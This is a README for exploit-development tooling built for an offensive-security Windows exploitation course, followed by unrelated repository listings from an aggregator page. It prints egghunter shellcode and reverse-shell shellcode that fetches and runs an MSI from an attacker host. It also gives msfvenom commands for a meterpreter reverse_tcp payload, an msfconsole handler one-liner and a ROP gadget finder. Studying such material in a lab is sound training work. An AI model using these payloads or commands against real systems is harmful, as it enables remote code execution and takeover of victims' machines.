bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Overview

osed-scripts

bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Table of Contents

Standalone Scripts

egghunter.py

requires keystone-engine

usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s]

Creates an egghunter compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -t TAG, --tag TAG     tag for which the egghunter will search (default: c0d3)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -s, --seh             create an seh based egghunter instead of NtAccessCheckAndAuditAlarm

generate default egghunter

./egghunter.py 
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: c0d3c0d3
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate egghunter with w00tw00t tag

./egghunter.py --tag w00t
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: w00tw00t
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually)

./egghunter.py -b 00 0a 25 26 3d --seh
[+] egghunter created!
[=]   len: 69 bytes
[=]   tag: c0d3c0d3
[=]   ver: SEH

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

find-gadgets.py

Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching.

requires rich and ropper

usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT]

Searches for clean, categorized gadgets from a given list of files

optional arguments:
  -h, --help            show this help message and exit
  -f FILES [FILES ...], --files FILES [FILES ...]
                        space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to omit from gadgets (default: 00)
  -o OUTPUT, --output OUTPUT
                        name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)

find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit 0x00 and 0xde from all gadgets

gadgets

shellcoder.py

requires keystone-engine

Creates reverse shell with optional msi loader

usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s]

Creates shellcodes compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST
                        listening attacker system (default: 127.0.0.1)
  -p LPORT, --lport LPORT
                        listening port of the attacker system (default: 4444)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -m, --msi             use an msf msi exploit stager (short)
  -d, --debug-break     add a software breakpoint as the first shellcode instruction
  -t, --test-shellcode  test the shellcode on the system
  -s, --store-shellcode
                        store the shellcode in binary format in the file shellcode.bin
❯ python3 shellcode.py --msi -l 192.168.49.88 -s
[+] shellcode created! 
[=]   len:   251 bytes                                                                                            
[=]   lhost: 192.168.49.88
[=]   lport: 4444                                                                                                                                                                                                                    
[=]   break: breakpoint disabled                                                                                                                                                                                                     
[=]   ver:   MSI stager
[=]   Shellcode stored in: shellcode.bin
[=]   help:
         Create msi payload:
                 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X
         Start http server (hosting the msi file):
                 sudo python -m SimpleHTTPServer 4444 
         Start the metasploit listener:
                 sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit"
         Remove bad chars with msfvenom (use --store-shellcode flag): 
                 cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode

shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\x55\x14\x89\xc3\x68\xa7\xad\x2f\x69\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x71\x6e\x50\x68\x2f\x58\x20\x2f\x68\x34\x34\x34\x34\x68\x2e\x36\x34\x3a\x68\x38\x2e\x34\x39\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x54\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"           
****

install-mona.sh

downloads all components necessary to install mona and prompts you to use an admin shell on the windows box to finish installation.

❯ ./install-mona.sh 192.168.XX.YY
[+] once the RDP window opens, execute the following command in an Administrator terminal:

powershell -c "cat \\tsclient\mona-share\install-mona.ps1 | powershell -"

[=] downloading https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip
[=] downloading https://github.com/corelan/windbglib/raw/master/windbglib.py
[=] downloading https://github.com/corelan/mona/raw/master/mona.py
[=] downloading https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi
[=] downloading https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe
[=] downloading https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

WinDbg Scripts

all windbg scripts require pykd

run .load pykd then !py c:\path\to\this\repo\script.py

find-ppr.py

Search for pop r32; pop r32; ret instructions by module name

!py find-ppr.py libspp diskpls

[+] diskpls::0x004313ad: pop ecx; pop ecx; ret
[+] diskpls::0x004313e3: pop ecx; pop ecx; ret
[+] diskpls::0x00417af6: pop ebx; pop ecx; ret
...
[+] libspp::0x1008a538: pop ebx; pop ecx; ret
[+] libspp::0x1008ae39: pop ebx; pop ecx; ret
[+] libspp::0x1008aebf: pop ebx; pop ecx; ret
...
Registration Loss Learning for Deep Probabilistic Point Set Registration

RLLReg This repository contains a Pytorch implementation of the point set registration method RLLReg. Details about the method can be found in the 3DV

Felix Järemo Lawin 35 Nov 02, 2022
Layered Neural Atlases for Consistent Video Editing

Layered Neural Atlases for Consistent Video Editing Project Page | Paper This repository contains an implementation for the SIGGRAPH Asia 2021 paper L

Yoni Kasten 353 Dec 27, 2022
Source code for our paper "Empathetic Response Generation with State Management"

Source code for our paper "Empathetic Response Generation with State Management" this repository is maintained by both Jun Gao and Yuhan Liu Model Ove

Yuhan Liu 3 Oct 08, 2022
XtremeDistil framework for distilling/compressing massive multilingual neural network models to tiny and efficient models for AI at scale

XtremeDistilTransformers for Distilling Massive Multilingual Neural Networks ACL 2020 Microsoft Research [Paper] [Video] Releasing [XtremeDistilTransf

Microsoft 125 Jan 04, 2023
PyTorch implementation of "PatchGame: Learning to Signal Mid-level Patches in Referential Games" to appear in NeurIPS 2021

PatchGame: Learning to Signal Mid-level Patches in Referential Games This repository is the official implementation of the paper - "PatchGame: Learnin

Kamal Gupta 22 Mar 16, 2022
A Python implementation of active inference for Markov Decision Processes

A Python package for simulating Active Inference agents in Markov Decision Process environments. Please see our companion preprint on arxiv for an ove

235 Dec 21, 2022
Rule based classification A hotel s customers dataset

Rule-based-classification-A-hotel-s-customers-dataset- Aim: Categorize new customers by segment and predict how much revenue they can generate This re

Şebnem 4 Jan 02, 2022
Official repository of PanoAVQA: Grounded Audio-Visual Question Answering in 360° Videos (ICCV 2021)

Pano-AVQA Official repository of PanoAVQA: Grounded Audio-Visual Question Answering in 360° Videos (ICCV 2021) [Paper] [Poster] [Video] Getting Starte

Heeseung Yun 9 Dec 23, 2022
Stacked Recurrent Hourglass Network for Stereo Matching

SRH-Net: Stacked Recurrent Hourglass Introduction This repository is supplementary material of our RA-L submission, which helps reviewers to understan

28 Jan 03, 2023
PyTorch implementation of Algorithm 1 of "On the Anatomy of MCMC-Based Maximum Likelihood Learning of Energy-Based Models"

Code for On the Anatomy of MCMC-Based Maximum Likelihood Learning of Energy-Based Models This repository will reproduce the main results from our pape

Mitch Hill 32 Nov 25, 2022
Code of paper "CDFI: Compression-Driven Network Design for Frame Interpolation", CVPR 2021

CDFI (Compression-Driven-Frame-Interpolation) [Paper] (Coming soon...) | [arXiv] Tianyu Ding*, Luming Liang*, Zhihui Zhu, Ilya Zharkov IEEE Conference

Tianyu Ding 95 Dec 04, 2022
Doing fast searching of nearest neighbors in high dimensional spaces is an increasingly important problem

Benchmarking nearest neighbors Doing fast searching of nearest neighbors in high dimensional spaces is an increasingly important problem, but so far t

Erik Bernhardsson 3.2k Jan 03, 2023
A PyTorch Implementation of Gated Graph Sequence Neural Networks (GGNN)

A PyTorch Implementation of GGNN This is a PyTorch implementation of the Gated Graph Sequence Neural Networks (GGNN) as described in the paper Gated G

Ching-Yao Chuang 427 Dec 13, 2022
Official implementation of the RAVE model: a Realtime Audio Variational autoEncoder

RAVE: Realtime Audio Variational autoEncoder Official implementation of RAVE: A variational autoencoder for fast and high-quality neural audio synthes

ACIDS 587 Jan 01, 2023
Adversarial Graph Augmentation to Improve Graph Contrastive Learning

ADGCL : Adversarial Graph Augmentation to Improve Graph Contrastive Learning Introduction This repo contains the Pytorch [1] implementation of Adversa

susheel suresh 62 Nov 19, 2022
Implementation of a Transformer, but completely in Triton

Transformer in Triton (wip) Implementation of a Transformer, but completely in Triton. I'm completely new to lower-level neural net code, so this repo

Phil Wang 152 Dec 22, 2022
Pytorch implementation of Feature Pyramid Network (FPN) for Object Detection

fpn.pytorch Pytorch implementation of Feature Pyramid Network (FPN) for Object Detection Introduction This project inherits the property of our pytorc

Jianwei Yang 912 Dec 21, 2022
Infrastructure as Code (IaC) for a self-hosted version of Gnosis Safe on AWS

Welcome to Yearn Gnosis Safe! Setting up your local environment Infrastructure Deploying Gnosis Safe Prerequisites 1. Create infrastructure for secret

Numan 16 Jul 18, 2022
시각 장애인을 위한 스마트 지팡이에 활용될 딥러닝 모델 (DL Model Repo)

SmartCane-DL-Model Smart Cane using semantic segmentation 참고한 Github repositoy 🔗 https://github.com/JunHyeok96/Road-Segmentation.git 데이터셋 🔗 https://

반드시 졸업한다 (Team Just Graduate) 4 Dec 03, 2021
Randomized Correspondence Algorithm for Structural Image Editing

===================================== README: Inpainting based PatchMatch ===================================== @Author: Younesse ANDAM @Conta

Younesse 116 Dec 24, 2022